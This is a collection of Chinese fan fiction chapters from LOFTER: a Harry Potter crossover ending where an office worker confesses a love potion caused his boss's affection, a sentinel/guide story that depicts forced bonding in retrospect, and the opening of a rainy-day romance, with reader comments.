他就说,这种喜剧电影般的人生怎么可能在这种关键时刻不被打扰呢?叛逆可是连大反派的面都没见过。
“一个错调上来的工人,一个转不了正的外包,还有你……”
Thomas看向马杰的眼神马杰在Peter眼里早就见过了,是他把解药给徐云峰喂下去的那时候。马杰觉得自己确实是太不知好歹了,同样的事还敢再做第二次。
“行了。”
徐云峰冷着脸打断Thomas的话,声音冷得能结冰。他没分给马杰半丝眼神,而是看向冲过去质问他的壮。
但马杰觉得徐云峰句句话都在对他说。
“我不在乎钱,也不在乎什么标准件厂,我只在乎广进计划本身。”
“这是一盘很大的棋,这事关集团未来十年的发展。”
“互联网经济时代,不立刻转型,只能立刻完蛋!”
“只有我才能挽狂澜于既倒,只有我才能带领集团活下去!”
“就算你不懂经济,人性总该懂吧?”
“留在集团的这些人,有谁会为了更多人不被裁,主动要求降薪?”
“这就是人性,人性是改变不了的。”
这些话徐云峰明里暗里和马杰说过很多次,今天在办公室就说过,当然,没那么直白。
马杰觉得徐云峰在劝他,把他的理念掰碎了来劝他,劝他回心转意,劝他不要执迷不悟。
他给壮和叛逆都给出了条件,然后才第一次看向马杰,没说条件,但马杰从徐云峰的眼里看出来了。
既往不咎。
马杰忽得又有些愤怒,他做的事不深究下去那也是占理的,本来该站在道德制高点上,让徐云峰来收买他。
徐云峰该求他们不要把这件事暴露出去。
怎么一个眼神间他就又到了道德制低点上,要徐云峰大发慈悲地原谅他,然后他就要改过自新。
是改过自新还是继续沉沦?
而且……凭什么叛逆和壮都能升职加薪他就不能啊?!
在愤怒的驱使下,马杰不多的勇气突然全都沸腾起来,让他有了些热血。
叛逆和壮已经拒绝,在在场所有人的目光下,马杰把手里的螺丝钉扔了出去,像是扔出曾经的自己。
28
喜剧里总少不了挨打,一些非权威调查表示看别人挨打有利于身心愉悦。
但自己挨打是真疼。
马杰死死护住电脑,一点没退缩。
总不能丢了工作还办不成事吧,多亏啊。
这样被开除符合徐云峰签的那个合同吗?五百万应该能到手吧?
唉……他的工作就这么丢了吗?这可是k10呢,马杰以前做梦都梦不到。
被动地挨着打,马杰发挥了他会上摸鱼的本领,神游天外。集中注意力只能是让自己更疼,还不如走神胡思乱想。
他总不能现在掏出魔杖来把人都打趴下,不然明天他收拾完办公室魔法部就得来逮捕他,罪名是恶意伤害麻瓜和违反保密法。
魔法界可没所谓防卫过当。
格兰杰部长什么时候才能完善完善巫师法啊……
大概要在解放家养小精灵以后。
好心的格兰杰部长能不能也来解放一下马杰啊,马杰觉得社畜和家养小精灵不分伯仲,都一样被压迫。
哦对,马杰现在也不是社畜了,他被开除了。
突然,马杰发现本该落在自己身上的拳头消失有一阵子了,马杰抬起头,壮身后乌压压一片人。
啊……援军到了。
马杰几乎要喜极而泣,一手护着电脑一手扶住叛逆伸过来的手,挣扎着站起来。
然后壮就被援军揍了。
马杰腿一软,差点又跪下去。
叛逆一把拉住了他,像是今天被震惊了很多次已经麻木了,平静得有点吓人。
“问题不大,他们发泄完了咱们就能去会场了。”
叛逆你正常一点,你这样我害怕。
所幸叛逆是对的,怒气冲冲的工人们帮他们拦住了打手。马杰下意识跟着他们跑,感觉肺都要炸了才反应过来,猛的停住了脚步。
其他五个人也都停了下来,喘着粗气看向马杰。
马杰又有点犹豫了,在叛逆和壮之间看了几个来回才下定决心。
“……接下来做的事,你们能帮我保密吗?”
叛逆和壮对视一眼,然后一起点了点头。
马杰又看向壮的三个徒弟,壮在他说话前抢先开口:
“他们都信得过,你有话就说,他们不会去告密的。”
马杰点了点头,下定决心般举起两个胳膊。
“你们两个抓紧我。”
叛逆和壮不明所以地抓住了他的胳膊。
“有点晕,你们准备好。”
马杰板着脸拿出了藏在袖子里的魔杖。
29
“Mobiliarbus(幻影移形)!”
30
TMD,他Jack Ma可是巫师!
31
马杰杵在卫生间门口,听着两个不同的门里传来同样的呕吐声,心里已经为自己的冲动后悔了一百遍。
他现在是成年人了,魔杖里的踪丝早就没了,只要没人举报他就不会被魔法部追究,没事的没事的没事的。
……壮那三个徒弟不会吓傻了吧。
不然现在进去跟壮要一下电话,给他们报个平安?
不妥不妥,还是等壮出来再说。
他就该提前说好的!起码让人家有点心理准备啊!
壮和叛逆也就不至于那么……
不过自己也挺厉害哈,幻影移形都是多少年前学的了,现在居然还会,还能一下带两个人。
……不不不还是太莽撞了,万一出点什么差错给他们搞截肢了怎么办,太危险了,下次一定要注意!
不,没有下次了!
……不过自己还是挺厉害的嘛。
“马杰克!”
叛逆虚弱但不减震惊的声音打断了马杰的胡思乱想,那双惊疑不定的眼盯得他有点心虚地移开了目光。
“那个……等壮出来再……”
“我出来了!”
壮于是也急急忙忙从里面出来,脸上的水都没擦干净。
看着两双紧紧盯着他的眼,马杰的勇气又缩回去一部分。
“呃……壮你要不先跟你徒弟——”
“我刚给他们发消息告诉他们了。”
“先别管他们,解释解释吧。”
好吧,转移话题失败。
“……你们知道哈利波特吧?”
叛逆和壮同时点头。
“我和他是校友。对我就是个巫师但你们先听我解释我不是故意瞒着你们的主要是魔法部规定不允许向麻瓜展现巫师界而且我也有好几年没用魔法了求求你们别去魔法部举报我!”
“……谁说要举报你了?”壮终于抓住了重点,然后立刻上前揽住了马杰,“马杰克你帮大忙了!”
“谁能想到你还真是个哈利波特啊。”叛逆也笑着叉起胳膊,“也就是现在有更重要的事要做,不然我绝对要把你的事全挖出来。”
“那我肯定知无不言言无不尽。”马杰从善如流。
“行了行了,快走吧!还要再准备一下呢!”
壮把胳膊放下来,突然嘶了一声,应该是扭到了肩上的伤口。马杰看着他的脸也反应了过来,左顾右盼之后又把壮推进了厕所。
“躲一下监控。”马杰朝壮笑了笑,又拿出了魔杖,“Enervate(恢复如初)。”
壮惊喜地扭了扭肩,又照了照镜子。
“诶!真全好了!”
马杰略有些骄傲地转过身,叛逆叉着胳膊看着他。
“你刚才怎么不用这个?”
马杰骄傲的脸又垮了下去。
“……我忘了。”
32
等上了台,面对着下面的人山人海,马杰还是不负众望地——忘词了。
还好他有先见之明,早就把歌词存在了备忘录里,不然……倒也没多大关系,就是场面不够炸裂嘛,反正庄正直的事是已经被爆出来了。
他担心的只有一点:他的工作不会真没了吧?
那可是k10啊!
他房贷还没还完呢!
要是真没了工作,真能给他五百万吗?
五百万应该够把房贷还完了吧……
壮和叛逆依旧说说笑笑的,马杰犹豫地回头看会场,想着要不要回去找董事长问清楚,毕竟歌词里再怎么说……他们三个也算是站了董事长的队,总不至于标准件厂的人都回去了,他倒霉催地失业了吧?
正胡思乱想着,口袋里的手机发出马杰熟悉的声音——工作提示音。他没意识到怎么回事,条件反射地拿出手机想要看看又要加什么班。
下一秒他嗷地一声叫了出来,上前紧紧抱住了壮。
“咱们没被开除!没事!开除咱们需要我签字!”
职务高可真tm好!
马杰搂着傻乐呵的壮蹦,叛逆就在一边笑着看着他们,无意中瞟了一眼他们身后,神色突然冷了下来。她上前按住了喜形于色的两人,示意他们向后看。
马杰扭头,徐云峰就站在台阶上,脸被淹没再黑暗里,看不清神色。
下意识地,马杰急忙松开了抱住壮的手,然后慢半拍的脑子才反应过来现在不是他松开壮道个歉就能一切如初。
他呆愣愣地就这么和徐云峰对视,谁也一动不动,片刻后叛逆和壮挡在了马杰身前护住了他,就等着徐云峰做出什么反应,然后反击。
徐云峰隔着他们和马杰对视几秒,转头走了。
马杰依旧呆愣愣地看着徐云峰的身影一寸寸隐没在黑暗中,在他彻底离去的前一秒扒开壮和叛逆冲了上去。
脚步声响起的那一刻徐云峰就停下了,马杰很轻松地追上了他,然后拉着徐云峰的胳膊不知所措。
几个呼吸后,徐云峰转过身,依旧看不清神色,声音毫无起伏:
“还有什么事吗?”
马杰心一横,掏出魔杖。
“Lumos(荧光闪烁)。”
杖尖冒出点点荧光,照亮了他们面前的黑暗,马杰终于看清了徐云峰的眼神:
惊异,冷淡,悲哀。
事已至此,有些话就不得不说了。
“……这不太唯物,但如您所见,我是个巫师。很抱歉,但当时您之所以会喜欢上我是因为您误食了我的巫师朋友送我的司康饼,那里面加了迷情剂——魔法界的一种药,会让人疯狂地喜欢上另一个人。但……迷情剂创造不出真正的爱情。”
马杰在最初的对视之后就没敢再抬头看他,他怕让徐云峰看见自己眼里的情绪,但同样的,他也不知道徐云峰是什么反应。
“……您应该疑惑过为什么会看上我吧,现在您知道了。”
“为什么告诉我?”
“……让您喜欢上我,真的很抱歉。”
说完之后马杰转身就走,颇有些落荒而逃,但内心却解放了,重担终于放了下来,不管现在是空落还是轻松,至少马杰不再喘不过气了。
壮和叛逆惊讶地看着他的手里的魔杖,马杰这才慌乱地熄了光。壮一脸迟疑地看着他,想说什么但是被叛逆拦住了,她一直看着马杰身后,半晌,脚步声才重新响起,越来越远。
马杰一直没转身,现在才缓缓蹲了下来,叛逆摸了摸他的头。
“行了,领导请我喝一杯啊?”
壮二丈和尚摸不到头脑,在马杰叛逆和台阶上的阴影里看了好几个来回才终于忍不住问出声:
“……这是怎么啦?”
“失恋了。”
“啊?不是?谁和……啊?!马杰克你……?什么时候的事?!”
“你当上副经理之后。”
终于有了叛逆知道而壮不知道的事,她看起来心情大好,随意地捞起来马杰。
“好了,别哭了,走吧,今夜兄弟陪你不醉不归。”
马杰抬手,摸了一脸泪,又被手上的戒指冰了一下,才反应过来戒指没还回去。
他迟钝地点了点头,又想起来什么似的摇了摇头。
“我不回家咪咪会饿死的。”
现在能喂它的又只有马杰一个人了。
33
马杰没被优化,他还再次升了职,顶替了Thomas的位置坐上了k12。
说好听点他这是勇敢直言揭露阴谋,说难听点他还是在站队,从徐云峰这一队换到了董事长这一队。
壮没看出来这一点,所以回了标准件厂去当胡建林。叛逆看明白了,所以辞职进了演艺圈当潘怡然。
但不管明不明白,现在这栋大楼又只剩下了马杰。马杰依旧是马杰克,只不过现在还是Magic总。
潘怡然问过马杰知不知道这其实是又一次站队,在他家的饭桌上,胡建林喝醉了在厨房乐呵呵地逗着咪咪,没听见他们说话。
马杰也喝醉了,所以点了点头。
“那你为什么不站Jeffrey?”
马杰不说话,还是一个劲点头,咪咪飞出来站在马杰肩上,胡建林也就追了出来,潘怡然没再继续问下去。
但马杰一直在想这个问题,看到自己的升职邮件的时候在想,把自己和董事长不算合照的合照摆在桌子上的时候在想,把工作分配给下面的人的时候在想,被其他总监拉去KTV唱歌的时候在想,夜深人静失眠的时候在想。
他想了很多理由,董事长终究才是公司的掌权人能给自己的更多,Thomas这些中高层不走自己就永远不可能升职,他对他和徐云峰的关系腻了烦了,或者最简单的他重友轻色。
但这所有的一切在徐云峰回来之后都自觉土崩瓦解,在会上看见徐云峰的那一刻他就知道这些理由都不足以让他背叛徐云峰,他就只是单纯的害怕。
这段如履薄冰的爱情让他害怕。
后面董事长所说的什么清白啊误会啊友好合作啊他全都左耳进右耳出,还好马杰就算不听也知道这种场合下会说什么,所以在全场寂静所有人的目光都集中在自己身上那一刻马杰立刻起身,脸上挂着营业微笑双手握上了徐云峰矜持地伸出来的一只手。
“徐总,年会上没调查清楚就把这件事闹大是我不对,还望您大人不记小人过,日后我亲自登门道歉。”
终于正视自己的感情后马杰都勇敢了不少,敢于抬头直视徐云峰的眼,那双眼里除了打量和愤怒还有一丝丝蔑视,下面薄唇同样微笑着不轻不重地客套几句。
当初自己学的可真像。
34
或许当时会议室里所有人包括徐云峰都没把马杰那句登门道歉当回事,但马杰确实是真心实意的,他还带上了礼物。
多亏了门卫还认识自己这张脸,不然马杰都不一定进的来。
按下门铃后半晌没动静,马杰又按了一次,还是没人来,他才后知后觉地反应过来徐云峰大概不在这里,毕竟他也不可能就这一套房产,而且那一年间他们为了咪咪也是去马杰家居多,这边没来过几次。
好吧……那就明天再来。
马杰撇了撇嘴,转身要走,转过身的那一秒身后传来开门的声音。有点尴尬,马杰又转了回来,徐云峰就站在门口。
不知道是不是他的错觉,马杰总觉得徐云峰比平常还要精致,头发看似随意地垂下几丝,西服平整,领带上戴着领带夹,胸针和袖口闪闪发亮,一看就刚被擦拭过,皮鞋也亮的像全新的一样,香水味都浓了不少。
马杰迟疑几秒,觉得自己是不是来的不巧了:
“您这是……有应酬吗?”
打扮得这么正式,这是几百个亿的大生意啊?
徐云峰嘴角抽动几下,没进去也没出来。
“有事吗?”
懂了,这是让我有话快说有屁快放,别耽误他去应酬。
马杰连忙举了举手上的礼盒,微微弯腰,双手捧上去,语气卑微:
“徐总,我来给您赔罪了,这是赔礼。”
腰是弯下去了,头却一直抬着,眼睛正对徐云峰的眼,几秒后徐云峰先移开了眼。
“进来吧。”
徐云峰转身走进去,马杰就亦步亦趋地跟在他身后半步远。
马杰第一次来这里的场景重现,徐云峰沉默地坐在他对面的沙发上晃着酒杯,马杰坐立难安,没明白为什么这位又不走了,应酬不急吗?
马杰终于忍不住,把礼盒放在了桌子上,打开,里面是一小瓶金灿灿的液体。
“这是福灵剂,巫师界的一种魔药,服用之后的一段时间里会很幸运。”
马杰把盒子往徐云峰那边推了推。
“给您赔礼道歉了。”
“你是哪个学院的?”
“啊……?哦,我是赫奇帕奇毕业的。”
马杰依旧不太理解徐云峰的脑回路,但不妨碍他问什么答什么。
徐云峰点了点头,又不再说话。马杰更加坐立难安了,他开始后悔为什么出门前没喝几口福灵剂,这样他就会知道今天根本不该来。
但总不能什么都不说吧。
“……对不起。”
“你到底为什么道歉?”徐云峰讥讽地看向马杰,然后狠狠灌了一大口酒,“不该让我爱上你?那你已经道过两次歉了。”
“……不。”马杰抿了抿嘴,眼神飘忽片刻还是坚定地看向徐云峰,“是不该瞒着你,不该心存侥幸,不该将错就错……”
马杰声音越来越小,到最后低下头,只有他一个人能听见了。
“不该将错就错喜欢上你。”
“……你后悔了。”
马杰听见徐云峰放下酒杯,随后他的左手就被举到眼前,银光闪过,紧接着他就被抬起了头,徐云峰冷笑着看着他。
“后悔了为什么还留着戒指?”
“我不后悔!”
马杰下意识反驳。徐云峰拉下脸,皱着眉看着他。说完不后悔马杰就后悔了,他这一生后悔过太多次,所以他早就明白人生没有后悔药吃。
咬咬牙,马杰还是说出了口:
“我确实很容易后悔也后悔过很多次,但我……我从没后悔答应你,我唔……”
剩下的我只后悔在你不爱我的情况下仍爱上了你被徐云峰堵了回去,马杰迷迷糊糊地突然想明白了徐云峰之前一些莫名其妙的吻。
不爱听就堵回去……怎么这么小孩子气呢。
啊话说……
马杰突然挣扎起来,勉强推开徐云峰,在徐云峰脸彻底黑下去之前抢先开口:
“你还有应酬呢……”
徐云峰一愣,黑着的脸突然缓和了下来,然后慢慢变红。他再次吻了上去。
“我没有应酬。”
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盼马壮(3)
马杰克:我和徐云峰在一起了
马杰克:【图片】
叛逆:?
叛逆:?
壮:啊?你不是失恋了吗?
马杰克:可是他为了我看完了哈利波特七本原著八部电影诶?
壮:这是不是有点草率了?
叛逆:别管他,他脑子有病
叛逆:情人节恋爱脑离我远点
马杰克:[微信红包]谢谢大家,我们在一起了
叛逆:我去你的马杰克!
叛逆:微信红包最大两百!
叛逆:资本家去?!
叛逆:?????
# 年会不能停# 徐马# 徐云峰# 马杰
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热门评论
Primary(暂退)
特别特别好吃....(深夜嚎叫)hp的迷情剂梗运用的好妙,对不起看到最后说徐云峰为了他去看哈利波特原著和电影真的好好笑,很难想象徐云峰一个人坐家里在看了好几天魔法文学hhh,最后再夸一下太太,真的特别好吃!
395
兀兀穷年
徐总一把年纪努力融入另一个世界很辛苦吧hhhh
12. 穷徒困境
veo
From LOFTER
【全知读者视角24H/21:00】穷徒困境
◆哨向设定,非典型强迫结合
如你所见,没写完的一发完都会变成连载(或者一个坑)
“其实身体结合没什么不好的。”泡菜汤刚端上来时还冒着白色的雾气,绵绵蒸腾在金独子和刘众赫之间。金独子边说边吸了下鼻子,像是只冻坏了的狐狸,认真而又可怜兮兮的。
“起码以后执行任务的时候会方便些的吧。”
像是安抚情绪的一句话,却让刘众赫眉头皱得更紧。情绪来得毫无原由,他好像抱到了一块冰,一握紧就淅淅沥沥化了他一身冷水。
金独子是故意的吗?
是故意的吧。
这个讨厌的人总是会做让人烦躁的决定,并没给别人拒绝的选项。刚才的那两句话正好够让刘众赫体会清楚,金独子是真的这样认为的。
于是刘众赫轻轻放下筷子,说:“你捡的那把枪扳机断了,空弹匣我也丢掉了。”刚刚他们在月光下幕天席地完成了第一次彻底的身体结合,疯得像是失群的野兽。鼻腔里都是腥血和硝尘的刺激气味,身边是沾着露水的草地和冰冷的风声,刘众赫丧失了所有理智,甚至毁掉了金独子手里的武器。
“我会去再给你选一把新枪,还有新的制服。”哨兵嗜血状态下是没有顾虑的,明明最该柔情的时候,他反撕碎了金独子的衣服,用牙齿咬开了金独子脖颈的皮肤。
施暴者按下了所有反抗,强迫金独子和他一同疯狂。草丛窸窣的声音像是围观者的低语,向导呼吸进深夜潮湿冷空气时喘出的都是抗拒。
唤不醒失控者的一丁点怜悯。
就连精神体白鹤都被狼爪按在地上舔舐,随着主人黏腻哭喊而颤抖。
而现在受害人在主动缓和气氛,边扒拉着米饭粒边带着鼻音说没什么不好。
他的向导撕开血肉内里一定是有棱角的,总之不会是现在这种踩一脚也不声不响的伪善宽和。
还好他们也没什么需要维持表面和睦的必要,刘众赫可以在任何时候说出他想说的。
“如果不对我做精神梳理,你至少可以选择杀掉我。”哨兵强烈的精神波动是会让周围的向导也一同陷入痛苦的,就是说金独子刚刚什么也没做的代价不但是被自己强迫了,还是在精神痛苦中承受地暴虐的欲。
作为伙伴他们一起经历过太多更危险的事,刘众赫会放任自己进入失控状态也仅仅是因为他对金独子有些微乎其微的信任。
——那个混蛋,有让人能平静下来的魔力。
“那是最理想的方式。”像是在说外面下雨了就该待在家里,金独子总是能做到让人看不出他是不是在说假话,“当时我受伤了,不确定自己精神力还有没有那么强,而且我需要你救我出来。”
他可以坦然的说任何理由,反正世界上总是默认,受害者是无罪的。
一句话就让刘众赫丧失了再问下去的兴趣,只拿起筷子,“等等你要去别的地方睡么?”
从塔里出来后他们已经分开住了,算起来这还是金独子第一次来刘众赫的家。
“太累了。”字面意思的真实,金独子还记得刚刚在浴室里只敢像个鱿鱼一样趴在浴缸里给自己清理的悲惨样子,腿和腰是完全使不上力气的,今晚再折腾出门一次,他真是要散架了。
那个家伙发起狂来怎么会那么该死。
阿西吧,金独子悲哀地意识到,就是现在这种情况,刚才刘众赫性感躁动的样子居然又回现在眼前。
于是他只能接受审判,听刘众赫平静地说。
“我家只有一张床。”
是的,不喜欢群居的人,家里甚至没有会客的沙发。
金独子能感受到刘众赫此刻心情好像并不好,他毫不怀疑要是刘众赫手上挥舞着天堂之剑,第一个解决的就是让他皱起眉的自己。
还好刘众赫此刻没拿武器,只是眼神严肃了许多:“我不睡地下。”
然后盯着金独子的眼睛又说,“还有,你需要解释,为什么那队人是冲你来的。”
虽然他们已经保有了最稳定的关系,可刘众赫还是悲哀的意识到,金独子的很多做法,他是并不明白的。
这和默契无关,金独子身上有太多秘密,是所有人都不知道的。
——01
其实金独子并不是刘众赫一开始选定的向导,甚至在入队考核之前,刘众赫甚至没有见过金独子。
[活下去则考核成功,杀掉一队考核者可以给入队绩点加一分,杀掉一半考核者将获得S评级。]
哨兵拥有比常人更敏锐的感官和优秀体能注定了他们会比常人更容易陷入疯狂,于是向导安抚精神的能力便派上了用场。精神结合甚至身体结合之后,哨兵和向导便可以拥有颇为稳定精神的连接。
所以考核为了不让局面陷入不可控的情境,每个哨兵都可以带上一个向导共同作战。之前的几届大概入队人数稳定在10个左右,像是一个默认的规则,大家都不会和自己实力相近的人缠斗到鱼死网破。
只有刘众赫参与的那次考核结果不同,到最后赢家只剩两个。
金独子记不清那天的细节了,一个没有和向导结合的哨兵就是一个称职的杀戮机器,别人生命在刘众赫的眼里好像只是零星的分数,连喉咙都在渴血的时候,那个人甚至不关心自己有没有受伤。
过强的杀戮情绪在他身侧蔓延,竟然让所有哨兵都陷入了疯狂。他并不像在完成布置下来的任务,而是在做自己觉得正确的决定。
所有都如刘众赫所愿,就算没有向导,他无疑也是最强的。
一切都是很好的发展,除了一点小意外。
[恭喜你完成了考核,你和你的向导评级为S。]
刘众赫并不知道自己为什么会被认成别人的同伴,他只知道看到那个讨厌的幸存者从角落里扑去尘土站起来时,自己心里只有一个想法。
——杀了他。
那个人看着周围一群尸体的样子并没有想象中的无措,并不像个贪生怕死躲躲藏藏的废物。
“现在杀掉我会被扣分或者考核失败。”而向导像是会读心一样,眼神也承载了许多不该在第一次见面时出现的情绪,“未结合的哨兵如果没有陪伴着的向导,是会被当做危险分子的。”
金独子边说边把脚后跟往后挪了半步,闪躲依旧逃不过狂躁中的哨兵行动,金独子还是被抓住了手腕,他接着说:“我的...意思是,我可以做你的同伴...不需要结合,只是一个不会拖累你的伙伴。”
很柔和却又很自信,句句说在了点子上。刘众赫只感觉精神力顺着金独子的手指流向全身,本来暴虐的情绪慢慢平和了很多。
“毕竟我刚刚躲过了所有人的搜索活到了最后,连你也没有找到我,不是吗?”
可以屏蔽所有人的五感需要过于强大的精神力,这种话在哨兵面前直白说出无异于挑衅,金独子却确信,在刘众赫面前卑微没有用,只有这样才能活下去。
“如果你能证明你的体力也不会拖累我的话。”
几乎是被丢在了地上,冷风从身侧呼啸,看着刘众赫走向队伍派来的车时,金独子明白了他是什么意思。
才第一次见面,以刘众赫的性格,会好受才有问题。
燃烧成粉尘的汽油味和着草木香,有一种被污染了的清爽感,金独子几乎是迅速起了身,盯着远去的车子裹紧了衣服。
看来在考核中保存体力是正确的。
“真是个狗崽子...”
你会等到我的。
——02
金独子清楚的知道那个混蛋心底过重的负担有一部分是因为死亡与分离的关系。所以这个成年后就习惯单打独斗的人加入了这个维护稳定的哨兵向导组织,做了最成功的杀戮机器。
奇怪的是,刘众赫似乎只是一个游戏玩家,好像他生活的世界都是虚假的,所以生命都是可以拿来挥霍的工具。
金独子和刘众赫同床过快两年,最普通的上下铺。入队有一段需要集中在塔里训练的时期,亏得刘众赫考核时举剑大杀四方,金独子也睡到了唯一一间双人房。
也多亏了刘众赫,金独子走了快两天才跌跌撞撞找到了塔的地址。
而刘众赫第二次见金独子的契机则更加尴尬,向导确实是没有哨兵那样优越的身体条件,为了避免出乱子而尽快搜寻到刘众赫的方位,金独子成功达成了两天没睡觉的奇迹挑战,代价就是他刚刚领到宿舍房卡进屋,就瘫倒在床上睡死过去。
而他醒来时刘众赫已经回来了,而且还特别体贴地替金独子洗了个澡。
字面意思,丢进浴缸里,洗了个澡。
噗通!
“咳...咳咳...你是有暴力倾向吗.
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..”被撞到头惊醒的感觉并不好,金独子刚从浴缸里爬出来,睁开眼正看到刘众赫生气的表情。
“你睡的是我的床。”而且还是穿着脏兮兮的衣服,裹紧被子躺了很久。刘众赫还记得自己掀开被子就看到金独子的‘惊喜’感受,所以恨不得现在就把金独子和床单一起丢进洗衣机。
“昨晚下雨了。”金独子贴在身上的衣服把浴缸里的水都搅浑了,薄薄的衬衫紧贴在身体上,近乎透明,“我很累。”
还没等金独子说完,刘众赫就不耐烦的转过了身向门口走去,“快一点洗完出来,我也要洗澡。”
暗自松了一口气,金独子好像从刘众赫的语气里读出了一丝惊喜感。虽然没有说,但他好像预料到了金独子会来。
而且最让人松了一口气的是,他好像没有把人轰去睡楼道的意思。
——03
事实证明,拥有一个实力不差又聪明的向导,确实并不是一个坏事。只不过时至今日,刘众赫都觉得自己完全搞不懂金独子这个人的真实想法。
他们第一次顺利的精神结合时,金独子疯得让刘众赫心惊。那时候他们还并没有现在这样熟悉,刘众赫清楚的知道他的向导不想死,可他在肚子上亘着一块不浅伤口的情况下,带着一身血腥味还是边替刘众赫做着精神梳理边说:“如果等等你无法靠自己的力量杀掉这里的所有人,那么请你不用再管我,先拿炸药把监狱夷平。”
任务是防止狂暴的犯人出逃,并没给他们可以毁掉一切的指令,金独子像是没有考虑自己的死活一样说着,“到时候你就说这一切是我做的就好,没有关系。”
当时金独子给出的理由同样让人生气——这是最理想的解决方式。
金独子好像清楚的知道,自己不会死在这里。
而刘众赫当时做了什么呢?好像是挡在金独子面前,对着围过来的敌人说着:“很可惜你们今天都走不出去了。”
“你们伤害了我的同伴。”不得不说他那张脸值得最贵的保险,尤其是在这种被保护欲支配的时候。
“你在想什么?”那些都是几年前的事了,也许是休息了两天的缘故,金独子最近总是会想很多。此刻他看着早自己一年入队的韩秀英的疑惑眼神,才恍惚回了神。
他还没有把完成任务的文件上报完成。
“为什么这样看着我。”不想回答就反问回去吧。
“你是和刘众赫完成身体结合了吗?”
不知道为什么会突然收到这种问题,金独子那张能言善辩的嘴也找不出什么答案了。可转念一想八卦好像也是人类的本能,不是什么值得惊讶的事。
一边盖着章,韩秀英一边又说:“那天晚上以后,李吉勇都觉得你很像刘众赫的妻子。”
金独子抿住了唇,消化了一会才继续低头整理着文件。
“有空我会好好想想教育问题的。”
“在此之前,你要记住我和刘众赫只是搭档,不会有其他关系。”
的确,大多数人对这一对哨兵向导的印象都是,刘众赫好像并不喜欢他的同伴。
而金独子是会撒谎的,语言平静又真诚,就算身上留下的那些挫伤还没有完全养好,他也不怀疑如果韩秀英追问,自己可以丝毫没负担地说出刘众赫不举这种谎话。
话刚出口,金独子只看着韩秀英歪了歪头,盯着门口说:“是这样吗?”
几乎不用回头,金独子感受到强烈情绪波动的同时就知道,自己可能要好好整理整理接下来的语言。
果然,没过很久身后就传来了刘众赫咬牙切齿的声音。
“我需要再申请一套制服和一把枪,按我平常的规制大小。”
很好,金独子悲哀地意识到,看来整理语言似乎也并不能解决问题了。
——tbc
我脑子起码进了八百吨水,才会想着写哨向,应该是个连载吧,如果我还有良心这种东西的话
# 全知读者# 全知读者视角# 众独# 全知读者24H
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热门评论
?
敷衍了事
哇终于有人写哨向众独啦我狂喜乱舞!!!!!!刘众赫这个臭脸男是不是在pua独子!独子这个坏男人是不是在pua众赫!哼哼这两个人互相嚯嚯什么的好香好香hshshshs(另外捉个虫夷为平地所以应该是夷平)
13. 男友外套
江鲸_
From LOFTER
【晏周】男友外套
*别扭的1.0相处时期
*酸甜小情侣
京城六月的天气几乎是说变就变,周翔拍戏时看天边阴沉,乌云翻卷时已经觉得不对。
他的车前两天刚送去例行维修,早上出门时又没注意天气预报,而老天就好像非要和他作对一般,上午还晴朗到万里无云,刚过中午就瞬间翻了脸色。
周翔在摄影机前加快了手上动作,一把长剑舞得潇洒至极,一贯吹毛求疵的导演看到了都连连点头。可哪怕赶着进度,等他结束一天的拍摄时候,天边已然响起一声闷雷,酝酿了一下午的大雨倾盆而下,彻底撕碎了连日的闷热,地面很快汇聚起大大小小的水流。
米优走的时候还问了他一句有没有带伞,周翔看她一个小姑娘一个人拿着把伞,还是拒绝了对方提出的一起走的要求,反过来催她赶紧回家。
剧组里来来往往不少人问他一会怎么走,周翔只是说他自己等会再走也不急。这么大的雨,大家都着急回家,周翔也不好意思耽误别人。
他暗暗叹了口气,拿出来手机正要给威哥打电话又忽地顿住了。嫂子正怀着孕,蔡威照顾妻子这两天都没怎么来剧组,他当然不能像之前那样随便一个电话就把人喊来送他一程。周翔伸着手无意识地划了划通话记录,视线下移到最近联系人,停留在那三个字上片刻,又只能生生收回心底那点幻想。
晏明修前两天就和他说过公司起步,事情多,凭两个人不过见了几次面,约过几次的关系,哪怕他现在心底再渴/望有个人来接他回家,也不能指望到对方身上。
他是个再有分寸感不过的成年人,可此刻剧组几乎所有人都离开,独留他一个人孤零零站在原地时,心里那些难以抑制的情感,就时刻不停地蛊惑着他越过边界线。
周翔强行闭上眼睛,把手机息屏塞回口袋。他想公交站离剧组也不算远,自己趁一会雨势小点,干脆一口气快点到公交站,早点坐车回去。
然而变化无常的天气显然不如他所愿,不过刚出剧组大棚没一会,暴雨又是哗啦一声,豆大雨点砸在地面水坑上,溅起来的水花打湿裤腿,浑身上下也很快湿透。周翔心里骂了两句,开始转头四处张望周围有没有什么暂时躲个雨的地方。
哪怕随便找个屋檐都行,他正这么苦中作乐地想着,头顶的雨瞬间停了,周翔抬头一看,一把黑伞遮去了所有雨丝,他视线游移,看到握着伞柄的,修长如玉的一只手。
心脏忽然跳得有点快,周翔猛地抬头一看,果然和居高临下看他的晏明修目光撞个正着。只是那视线比这雨还要冷,一张漂亮的脸蛋铁青,晏明修想也不想就问他:“为什么下雨了不给我打电话?”
“没带伞不找个地方躲着,还要一个人跑出来挨浇?”这话劈头盖脸砸在周翔耳边,语气硬邦邦又有些恼怒,实在谈不上悦耳,可周翔直勾勾看着他,就是忍不住嘴角眉梢都流出笑意来。
这一笑把晏明修看到周翔傻站着淋雨时候,心底那别扭的怒气融化得干干净净。他今天在公司又遇到不少烦心事,忍不住脾气想发火,又因为要卖那些老古董面子而憋闷不已,脚不听使唤地就跑来找周翔了。
晏明修原本是守在周翔家门口的,可一注意到雨下得这么大也不见周翔回家,又火急火燎地开车来找人,剧组处在低洼路段,雨水积得更多,车门没法靠的更近,他只能自己拿着伞出来找,果然看到不远处被雨淋得浑身湿透的周翔。
他心底的火气混着些不肯承认的心疼,早已压抑到极致,长腿几步跑到人身边给人挡雨,嘴上又忍不住问他为什么不肯给自己打个电话。
可这一切遇到周翔含笑的眼睛,又通通化为乌有,晏明修在公司忍了一天的郁气,这会也散的看不见影了。
“明修,你怎么来接我了?”
晏明修抿了抿嘴唇,想要冷哼一声,嘴硬地说顺便路过,余光看见周翔头发丝都被淋得贴在脸上,话到嘴边又生生咽回去,一声不吭把伞塞到周翔手里,又利落地脱掉了外套。
周翔还没反应过来就被还带着晏明修余温的外套裹个彻底,干燥而带着体温的外套把皮肤上的冷意瞬间驱散殆尽,他忍不住伸手抓住了一截衣角,脸上还是笑了笑,有点犹豫:“诶呀我没什么事,衣服一会就干了……”
晏明修瞪他一眼:“穿着。”
周翔只能把衣服披在身上,晏明修接过雨伞撑着,两个男人挤在一把伞下面,肩膀挨着肩膀,几乎要贴到一处。
